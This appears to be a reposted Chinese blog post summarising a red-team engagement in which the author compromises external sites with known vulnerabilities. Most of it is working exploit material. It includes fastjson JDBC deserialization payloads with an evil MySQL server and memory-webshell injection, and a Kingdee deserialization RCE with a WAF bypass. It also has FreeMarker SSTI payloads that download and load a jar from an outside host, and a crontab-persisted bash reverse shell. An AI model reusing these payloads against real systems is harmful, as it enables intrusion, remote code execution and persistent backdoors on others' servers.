某地级攻防总结

admin 2024年4月14日03:30:06评论32 views字数 4752阅读15分50秒阅读模式

前言:

很久没写文章了,最近刚结束一场攻防,也都是靠nday打下了不少点,简单写一下外网的几个案例

被动扫描工具:

这里先推荐一下自己常用的几个burp插件:

HAE:能够通过正则匹配到数据包中敏感的信息,例如账号密码,ak,sk等

passive scan client:被动扫描流量转发插件

log4j2,fastjson,shiro这几个必备的扫描插件,能够被动扫描这几种漏洞

RouteVulScan:比较好用的一款递归脆弱路径扫描插件,实战中扫一些敏感路劲以及未授权很好使

这里先启动xray被动监听:

passive scan client插件配置好扫描得端口

xray.exe webscan --listen 127.0.0.1:1664 --ho vuln.html
某地级攻防总结

浏览器配置burp得代理端口,这样用浏览器访问网站,流量就会同时经过xray和burp,逐个功能点点击就能等着收洞了

这里还可以利用浏览器拓展程序Opens a list of URLs,该拓展程序可同时打开多个网站

某地级攻防总结

这样可以提高扫描速率

漏洞案例:

fastjson中JDBC反序列化:

通过burp插件扫到某个站存在fatjson反序列化,payload为:

{"x":{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToCo
nnectTo":"dnslog","portToConnectTo":80,"info":{"user":"root","password":"ubuntu","useSSL":"false","statementInterceptors":"com.mysql.jdbc.
interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"},"databaseToConnectTo":"mys
ql","url":""}}

如果不太会打的话,可以参考我之前写的文章,

vps启动一个恶意得mysql服务:

./evil-mysql-server -addr 3307 -java java -ysuserial ysuserial-1.5-su18-all.jar

fuzz利用链:

将hostToConnectTo地址替换成vps地址:vps:3307

将user替换成fuzz利用链得payload:ysu_URLDNS_all:i.dnslog.cn

{"x":{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToCo
nnectTo":"vps:3307","portToConnectTo":80,"info":{"user":"ysu_URLDNS_all:ibxz5y.dnslog.cn","password":"ubuntu","useSSL":"false","statementInterceptors":"com.mysql.jdbc.
interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"},"databaseToConnectTo":"mys
ql","url":""}}
某地级攻防总结
image-20240412221538744

可以看到dnslog有回显,根据ysu得github可知:有如下链子可以打

某地级攻防总结

构造poc执行命令:这里利用EX-TomcatEcho执行命令

在请求头添加X-Token-Data:ifconfig即可执行命令:

{"x":{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToCo
nnectTo":"vps:3307","portToConnectTo":80,"info":{"user":"ysu_CommonsBeanutils2_
EX-TomcatEcho","password":"ubuntu","useSSL":"false","statementInterceptors":"com.mysql.jdbc.
interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"},"databaseToConnectTo":"mys
ql","url":""}}
某地级攻防总结

注入冰蝎内存马:

使用EX-MS-TSMSFromThread-bx注入冰蝎内存马:

{"x":{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToCo
nnectTo":"vps:3307","portToConnectTo":80,"info":{"user":"ysu_CommonsBeanutils2_
EX-MS-TSMSFromThread-bx","password":"ubuntu","useSSL":"false","statementInterceptors":"com.mysql.jdbc.
interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"},"databaseToConnectTo":"mys
ql","url":""}}

冰蝎连接:

某地级攻防总结
某地级攻防总结

金蝶反序列化rce waf绕过:

某站金蝶/k3cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc接口存在反序列化,执行命令时被拦截

经测试可知,拦截了请求头得命令执行以及传入的反序列化数据

某地级攻防总结

绕过方法:

工具:https://github.com/pwntester/ysoserial.net

比如我想执行ipconfig:

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Headers["cmd"];
            process.StartInfo.Arguments = "/c ipconfig";
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}
某地级攻防总结

生成payload

ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "cmd.cs;System.Windows.Forms.dll;System.Web.dll;System.dll"

对生成得数据做处理:

对AAEAAAD/////AQAAAAAAAAA之间逐个加空格即可绕过

某地级攻防总结

jeecgboot 模板注入:

积木报表模板注入漏洞实战中是非常常见的,

积木报表jmreport/queryFieldBySql接口存在SSTI模板注入漏洞,该漏洞可获取系统权限

打开网站长这个样子,该网站大概率是采用该框架的

某地级攻防总结

通过本次演练,总结了两个打这种网站的方法:

第一种就是直接写入内存马:

这里就简单讲一下出网打内存马把:

利用java内存马工具生成一个tomcat filter型的jar包:

某地级攻防总结

使用第一个exp将jar包下载到服务器:

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("wget http://1.1.1.1:8000/final.jar")}

在使用第二个exp加载该jar包即可:

${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('file://final.jar')}, T(java.lang.Thread).currentThread().getContextClassLoader()).loadClass('org.apache.http.client.yf.NetworkUtils').newInstance()").getValue()}

这里将loadClass替换成注入器类名即可,这里我的注入器类名为org.apache.http.client.yf.NetworkUtils

某地级攻防总结

也有遇到过内存马打不了的情况,这时可以采用定时任务反弹shell的方法

因为你如果直接反弹shell,会不稳定,执行命令容易掉线:

echo "bash -i >& /dev/tcp/1.1.1.1/1111 0>&1" > /tmp/1.sh

(crontab -l;printf "*/5 * * * * /bin/bash /tmp/1.sh;/bin/bash --noprofile -i;rno crontab for `whoami`%100cn")|crontab -

注意这里的两条命令要用base64编码去执行:

类似这种

某地级攻防总结

利用该命令发过去即可得到一个稳定shell

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("base64编码命令")}
某地级攻防总结

原文始发于微信公众号(安全小子大杂烩):某地级攻防总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月14日03:30:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某地级攻防总结https://cn-sec.com/archives/2654317.html

发表评论

匿名网友 填写信息